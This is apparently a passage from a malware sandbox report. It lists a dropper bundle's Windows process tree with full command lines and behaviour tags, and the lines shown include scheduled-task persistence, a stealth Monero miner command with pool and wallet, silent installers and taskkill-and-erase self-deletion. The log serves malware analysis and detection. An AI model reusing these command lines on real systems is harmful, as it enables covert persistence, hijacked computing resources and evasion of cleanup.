        "C:\Users\Admin\AppData\Local\Temp\is-7QMI3.tmp\ultramediaburner.tmp" /SL5="$4017A,281924,62464,C:\Program Files\Uninstall Information\WJAKGTEQYO\ultramediaburner.exe" /VERYSILENT
        9⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:2376
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        Executes dropped EXE
        
        PID:2756
        
        C:\Users\Admin\AppData\Local\Temp\f1-da540-277-bb9ae-2731006ee33b2\Caefitokyva.exe
        
        "C:\Users\Admin\AppData\Local\Temp\f1-da540-277-bb9ae-2731006ee33b2\Caefitokyva.exe"
        8⤵
        Executes dropped EXE
        
        PID:876
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        9⤵
        Modifies Internet Explorer settings
        
        PID:3884
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3884 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:632
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3884 CREDAT:734225 /prefetch:2
        10⤵
        
        PID:4948
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3884 CREDAT:209939 /prefetch:2
        10⤵
        
        PID:4568
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        9⤵
        
        PID:4780
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4780 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:4320
        
        C:\Users\Admin\AppData\Local\Temp\ac-90432-3d0-cf281-53c39ec9fd391\Cehysedole.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ac-90432-3d0-cf281-53c39ec9fd391\Cehysedole.exe"
        8⤵
        Executes dropped EXE
        
        PID:3056
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\czfkofq5.1ud\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:4076
        
        C:\Users\Admin\AppData\Local\Temp\czfkofq5.1ud\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\czfkofq5.1ud\GcleanerEU.exe /eufive
        10⤵
        
        PID:3080
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\czfkofq5.1ud\GcleanerEU.exe" & exit
        11⤵
        
        PID:4756
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:4804
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uymxpz20.gwg\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:3184
        
        C:\Users\Admin\AppData\Local\Temp\uymxpz20.gwg\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\uymxpz20.gwg\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:3500
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\uymxpz20.gwg\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\uymxpz20.gwg\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630777755 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        11⤵
        Blocklisted process makes network request
        Executes dropped EXE
        
        PID:3508
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2fu4fjub.n50\anyname.exe & exit
        9⤵
        
        PID:3380
        
        C:\Users\Admin\AppData\Local\Temp\2fu4fjub.n50\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\2fu4fjub.n50\anyname.exe
        10⤵
        
        PID:808
        
        C:\Users\Admin\AppData\Local\Temp\2fu4fjub.n50\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2fu4fjub.n50\anyname.exe" -u
        11⤵
        
        PID:4108
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\le0g1bvd.eqj\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:3588
        
        C:\Users\Admin\AppData\Local\Temp\le0g1bvd.eqj\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\le0g1bvd.eqj\gcleaner.exe /mixfive
        10⤵
        
        PID:4164
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\le0g1bvd.eqj\gcleaner.exe" & exit
        11⤵
        
        PID:4888
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:4992
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1lpwt3gk.kdm\autosubplayer.exe /S & exit
        9⤵
        
        PID:4408
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
      4⤵
      Loads dropped DLL
      PID:936
    - - C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11f251db82fb7b.exe
        
        Tue11f251db82fb7b.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1936
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2784
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2900
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:848
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:2252
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Executes dropped EXE
        
        PID:1752
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:2428
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:2804
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:3216
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:2920
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2948
        
        C:\Users\Admin\AppData\Roaming\6327835.exe
        
        "C:\Users\Admin\AppData\Roaming\6327835.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3036
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3036 -s 1760
        9⤵
        Program crash
        
        PID:3856
        
        C:\Users\Admin\AppData\Roaming\2024054.exe
        
        "C:\Users\Admin\AppData\Roaming\2024054.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: SetClipboardViewer
        
        PID:1892
        
        C:\Users\Admin\AppData\Roaming\6108624.exe
        
        "C:\Users\Admin\AppData\Roaming\6108624.exe"
        8⤵
        Executes dropped EXE
        
        PID:1000
        
        C:\Users\Admin\AppData\Roaming\5999019.exe
        
        "C:\Users\Admin\AppData\Roaming\5999019.exe"
        8⤵
        Executes dropped EXE
        
        PID:3328
        
        C:\Users\Admin\AppData\Roaming\8929179.exe
        
        "C:\Users\Admin\AppData\Roaming\8929179.exe"
        8⤵
        Executes dropped EXE
        
        PID:3576
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3576 -s 1856
        9⤵
        Program crash
        
        PID:2044
        
        C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2984
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit
        8⤵
        
        PID:2920
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Alfanewfile2.exe /f
        9⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1504
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:3684
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3052
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        Executes dropped EXE
        
        PID:2992
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        9⤵
        
        PID:4956
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:780
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
        8⤵
        
        PID:1680
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "setup.exe" /f
        9⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2052
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        Executes dropped EXE
        
        PID:2124
        
        C:\Users\Admin\AppData\Local\Temp\is-J4BEF.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-J4BEF.tmp\setup_2.tmp" /SL5="$9016A,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        
        PID:588
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        
        PID:3048
        
        C:\Users\Admin\AppData\Local\Temp\is-0J2B7.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-0J2B7.tmp\setup_2.tmp" /SL5="$20176,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:2156
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        Executes dropped EXE
        
        PID:1716
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        Executes dropped EXE
        
        PID:1600
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:2296
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1204
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
      4⤵
      Loads dropped DLL
      PID:1440
    - - C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue1109eec571ac.exe
        
        Tue1109eec571ac.exe /mixone
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1664
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Tue1109eec571ac.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue1109eec571ac.exe" & exit
        6⤵
        
        PID:2940
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Tue1109eec571ac.exe" /f
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2356
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
      4⤵
      Loads dropped DLL
      PID:700
    - - C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11bc0507b56295.exe
        
        Tue11bc0507b56295.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1684
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
      4⤵
      Loads dropped DLL
      PID:540
    - - C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11141271fbe5877f.exe
        
        Tue11141271fbe5877f.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1900
      - C:\ProgramData\7446591.exe
        
        "C:\ProgramData\7446591.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2960
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2960 -s 1748
        7⤵
        Program crash
        
        PID:3932
      - C:\ProgramData\409852.exe
        
        "C:\ProgramData\409852.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:532
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        
        PID:2140
      - C:\ProgramData\1152205.exe
        
        "C:\ProgramData\1152205.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1328
      - C:\ProgramData\2566086.exe
        
        "C:\ProgramData\2566086.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1740
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1740 -s 1760
        7⤵
        Program crash
        
        PID:3776
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
      4⤵
      Loads dropped DLL
      PID:432
    - - C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue112c483dd3245d.exe
        
        Tue112c483dd3245d.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2224
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 972
        6⤵
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:336
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
      4⤵
      Loads dropped DLL
      PID:856
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
      4⤵
      Loads dropped DLL
      PID:1532

C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue118f55232e4.exe
Tue118f55232e4.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:2072
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im chrome.exe
  2⤵
  PID:1896
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2092

C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
Tue11e4e580f2e8141a3.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:452
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2532
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2860
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2168
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2452
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2248
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:1992
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2208
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:1688
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2056
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:1404
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2408
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2840
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2408
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:3152
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:3268
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:3412
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:3480
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3508
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:3628
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:3796
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3896
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4028
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2392
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3032
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:932
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2100
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  - Checks processor information in registry
  PID:2984
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3592
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3788
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3924
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3176
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1332
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1964
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3652
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2872
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1896
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3456
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3224
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1368
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3704
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3188
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4012
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:552
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4144
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4260
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4376
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
